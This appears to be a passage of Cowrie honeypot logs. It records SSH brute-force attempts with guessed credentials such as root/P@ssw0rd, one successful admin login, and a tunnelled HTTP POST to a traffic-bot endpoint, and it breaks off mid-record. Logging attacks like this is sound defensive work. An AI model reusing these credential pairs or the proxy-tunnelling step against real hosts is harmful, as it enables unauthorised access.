ha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:12.329021Z","src_ip":"91.92.40.36","session":"f9f181825361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ebcc4f27c11","protocol":"ssh","message":"New connection: 45.153.34.195:64198 (10.17.0.5:22) [session: 2ebcc4f27c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:13.542241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:13.547004Z","src_ip":"45.153.34.195","session":"2ebcc4f27c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:13.635851Z","src_ip":"45.153.34.195","session":"2ebcc4f27c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:13.889162Z","src_ip":"45.153.34.195","session":"2ebcc4f27c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:14.974078Z","src_ip":"45.153.34.195","session":"2ebcc4f27c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:15.887632Z","src_ip":"91.92.40.36","session":"fc16eee51d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.83057379722595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:16.437089Z","src_ip":"172.81.62.90","session":"f47d42b4dce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64206,"dst_ip":"10.17.0.5","dst_port":22,"session":"52308ffe5071","protocol":"ssh","message":"New connection: 45.153.34.195:64206 (10.17.0.5:22) [session: 52308ffe5071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:16.603635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:16.613569Z","src_ip":"45.153.34.195","session":"52308ffe5071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:16.686454Z","src_ip":"45.153.34.195","session":"52308ffe5071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:17.133660Z","src_ip":"45.153.34.195","session":"52308ffe5071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:17.580045Z","src_ip":"91.92.40.36","session":"f9f181825361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.138669Z","src_ip":"91.92.40.36","session":"fc16eee51d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.233274Z","src_ip":"45.153.34.195","session":"52308ffe5071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":56814,"dst_ip":"159.203.135.109","dst_port":22,"session":"438c610ec3e1","protocol":"ssh","message":"New connection: 160.187.180.146:56814 (159.203.135.109:22) [session: 438c610ec3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.600343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.613861Z","src_ip":"160.187.180.146","session":"438c610ec3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":62573,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f970517ac4","protocol":"ssh","message":"New connection: 63.141.242.2:62573 (10.17.0.5:22) [session: b2f970517ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.789476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.795412Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.838264Z","src_ip":"160.187.180.146","session":"438c610ec3e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:18.851647Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:19.382640Z","src_ip":"91.92.40.36","session":"f9f181825361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Test@123","message":"login attempt [git/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:19.761506Z","src_ip":"160.187.180.146","session":"438c610ec3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64220,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9f165404a06","protocol":"ssh","message":"New connection: 45.153.34.195:64220 (10.17.0.5:22) [session: b9f165404a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:19.768131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:19.775321Z","src_ip":"45.153.34.195","session":"b9f165404a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:19.856556Z","src_ip":"45.153.34.195","session":"b9f165404a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea","message":"login attempt [andrea/andrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:20.111103Z","src_ip":"45.153.34.195","session":"b9f165404a06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:20.410990Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5526e7f93a","protocol":"ssh","message":"New connection: 91.92.40.36:54560 (10.17.0.5:22) [session: 4b5526e7f93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:20.859221Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:20.987574Z","src_ip":"160.187.180.146","session":"438c610ec3e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:21.153485Z","src_ip":"91.92.40.36","session":"4b5526e7f93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:21.159671Z","src_ip":"91.92.40.36","session":"4b5526e7f93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:21.197994Z","src_ip":"45.153.34.195","session":"b9f165404a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62644,"dst_ip":"10.17.0.5","dst_port":22,"session":"47c0413576a2","protocol":"ssh","message":"New connection: 45.153.34.195:62644 (10.17.0.5:22) [session: 47c0413576a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:22.604909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:22.652863Z","src_ip":"45.153.34.195","session":"47c0413576a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:22.755992Z","src_ip":"45.153.34.195","session":"47c0413576a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logs","password":"logs","message":"login attempt [logs/logs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:23.124832Z","src_ip":"45.153.34.195","session":"47c0413576a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:23.979499Z","src_ip":"91.92.40.36","session":"4b5526e7f93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:24.222286Z","src_ip":"45.153.34.195","session":"47c0413576a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:24.416546Z","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:44:24.455848Z","src_ip":"63.141.242.2","session":"b2f970517ac4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.4.3; Mobile; rv:75.0) Gecko/75.0 Firefox/75.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1166\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Y0NwKj5wP080L0IhWHgjeQ%3D%3D%2B3abcYSiibEfrExLIwqRgJfI9juH4M916TV4dNv7xJToAVfsZx72RLj4pVVgUP%2Bpn8PS2cbo5AX%2BCb2c8PssM%2B1VC%2FAye2lHTCvSOCFsEHFNIcWZHOorxgiJNcGj0DvIU0xOOwBU3%2F%2FPTKtp51ZCurHzLLFgiW4yMGTWuR8tzfqS3tzWUPhlLwjoJ7MfcN22D5Ju6D6NXStzPPg4zSBrd3LcW7zR461oZWHB3YlkbTHd7fQPTD7ZLrlETvKrp5%2BwawcxhrUwKukf3RoUVbxNGQvdkUS6XtuxqDuwl2oYcM2xhzLJg0yMRytSwjVh4yxmXvw2ILnSpQWWwS21ZFussedypfJi7377pUj8l8gggNOcpfSMe%2F42m719MeOCbeKaZIVi0PhZNSVv%2FjW%2FJSJzpbD9GLfH4lj3daJTh2lMkXPa5hwU8QMAqOznNn5tEOKk01vgjQngeKcyhqvl4YKsjwpnLSsmfgpnU1GnqqDrzncbllgAufmEczU4vqQQYXO5F%2F2Rxx%2BpJABZ2pFxiwRQp6jO9zKl5EHwvHBZ90barfnLAwYvLpp0g0c5uz2AinZiN2tOevlX2IT7r%2BaTOu842C7GoaDev46wFj3xs6Ji0682U1dda8eeh84E4PyGRml5iJRJOZPkxPlss8VFe%2Fn1mhYJeV3PxSo6rG9DaCVe2oHWBmQbhJQAMe%2FCZi5dH%2BKMkNYhAT7OB9DOUCbFXya2KlWrWWPPVS12c1BCjD7oRqZI%2FNBaL4i%2FGzRVcMsH171Y2lFNygNW7x2%2BF1cuX0F%2BYn5gIy1SpX5CK6XgPhA30p%2Bo9m3vaxuOrPNvX%2Fd0myJ2LvNrXkyBt3s5ZIUPJGkxxwCh4aMAx1ltKH%2BjB%2FpSV%2B%2F8fcER7ZqGVoecNVkoJ8LEohIUxBo0cVojrr0Z8g1AD%2BKUEt5A3mNNSzIEN%2FLPH1MvIDI%2FaoAGXXZx815uzzVjIv6O%2FObiPXDBBwHnT4DkhS0N4dibnD4604ag5p7v2Rq4khGvh1BlCzauZ6hhqRLB%2F13fxVVr1vQ8Dpj93OxcM%2Fz1xaaMScsWK6bplQXMORk%3D'","id":0,"message":"disc